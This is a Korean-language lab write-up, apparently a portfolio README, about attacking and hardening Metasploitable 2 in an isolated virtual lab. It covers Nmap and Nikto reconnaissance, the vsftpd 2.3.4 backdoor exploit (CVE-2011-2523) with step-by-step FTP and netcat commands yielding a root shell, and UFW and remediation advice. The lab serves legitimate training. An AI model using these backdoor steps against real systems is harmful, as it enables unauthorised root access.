
제어된 가상 공격 및 방어 연구실 — Metasploitable 2에서의 CVE-2011-2523 익스플로잇, Nmap 정찰, Nikto 스캐닝, UFW 강화
이 랩은 완전히 격리된 가상 환경에서 실제 침투 테스트 및 방어 강화 연습을 시뮬레이션합니다. 정찰부터 익스플로잇까지의 전체 공격 보안 수명 주기와 각 위험을 완화할 방어 제어를 보여줍니다.
주요 결과: 자격 증명이나 특별한 도구 없이 알려진 백도어를 이용하여 60초 이내에 대상 머신에서 전체 루트 액세스 권한을 획득했습니다.
| 구성 요소 | 세부 사항 |
|---|---|
| Hypervisor | VMware Workstation |
| Network | Host-Only / NAT (fully isolated) |
| Attacker OS | Ubuntu 24 LTS |
| Target OS | Metasploitable 2 (Linux 2.6.x) |
| Attacker IP | 192.168.148.255 |
| Target IP | 192.168.148.130 |
Reconnaissance → Scanning → Exploitation → Defense & Hardening
sudo nmap -sV -O 192.168.148.130 -oN scan_before.txt
주요 발견 사항 — 총 23개의 열린 포트:
nikto -h http://192.168.148.130 -o nikto_before.txt
18개의 취약점 발견, 포함 사항:
phpinfo.php가 전체 서버 구성을 누출/doc/, /test/에서 디렉터리 인덱싱 활성화됨vsftpd 2.3.4에는 공급망 손상을 통해 도입된 백도어가 포함되어 있습니다. :)로 끝나는 사용자 이름을 보내면 서버가 포트 6200에서 루트 셸을 엽니다.
# Step 1 — FTP를 통해 백도어 트리거
ftp 192.168.148.130
# Username: backdoor:) Password: anything
# Step 2 — 생성된 셸에 연결
nc 192.168.148.130 6200
# Step 3 — 액세스 확인
whoami
# → root
결과: 60초 미만에 전체 루트 수준 시스템 액세스 권한 획득 — 자격 증명이나 익스플로잇 프레임워크 불필요.
영향: 루트 액세스 권한을 가진 공격자는 모든 파일을 읽기/수정/삭제하고, 악성코드를 설치하고, 데이터를 유출하거나 네트워크의 다른 호스트로 피벗할 수 있습니다.
sudo ufw enable
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow 22/tcp # SSH only
sudo ufw status verbose
전체 평가 — 전체 방법론, 명령 출력, 발견 사항 표, 익스플로잇 단계 및 모든 완화 권장 사항은 report.md를 참조하세요.
이 랩은 의도적으로 취약한 소프트웨어(Metasploitable 2)를 사용하여 완전히 격리된 가상 환경에서 수행되었습니다. 모든 기술은 교육 및 포트폴리오 목적으로만 사용됩니다. 소유하지 않거나 명시적인 서면 허가 없이 테스트하는 시스템에서는 재현하지 마십시오.
| 포트 | 서비스 | 버전 | 위험 |
|---|
| 21 | FTP | vsftpd 2.3.4 | 🔴 심각 — 알려진 백도어 (CVE-2011-2523) |
| 22 | SSH | OpenSSH 4.7p1 | 🟡 중간 — 구버전 |
| 23 | Telnet | Linux telnetd | 🟠 높음 — 평문 프로토콜 |
| 80 | HTTP | Apache 2.2.8 | 🟠 높음 — 다중 CVE |
| 1524 | Bindshell | Root shell | 🔴 심각 — 열린 루트 셸 |
| 3306 | MySQL | 5.0.51a | 🟠 높음 — 데이터베이스 노출 |
| 5900 | VNC | Protocol 3.3 | 🟠 높음 — 약한 인증 |
| 6667 | IRC | UnrealIRCd | 🔴 심각 — 알려진 백도어 |
| 취약점 | 해결 방법 |
|---|
| vsftpd 2.3.4 백도어 | vsftpd 3.x로 업그레이드하거나 SFTP로 마이그레이션 |
| 열린 루트 셸 (포트 1524) | 즉시 비활성화, 설치 감사 수행 |
| Telnet (포트 23) | 비활성화 — SSH만 적용 |
| phpMyAdmin 노출 | IP로 제한, 강력한 인증 필요 |
| MySQL 노출 (포트 3306) | localhost에 바인딩, 외부 액세스 차단 |
| VNC 노출 (포트 5900) | IP로 제한하거나 비활성화 |
| 디렉터리 인덱싱 | Apache: Options -Indexes |
| HTTP TRACE | Apache: TraceEnable off |
| 구버전 Apache + PHP | 지원되는 LTS 버전으로 업그레이드 |
| 도구 |
|---|
| 목적 |
|---|
| Nmap | 포트 스캔 및 서비스 탐지 |
| Nikto | 웹 취약점 스캔 |
| Netcat | 백도어 셸 연결 |
| UFW | 호스트 기반 방화벽 구성 |
| FTP 클라이언트 | vsftpd 백도어 트리거 |
| VMware Workstation | 랩 가상화 |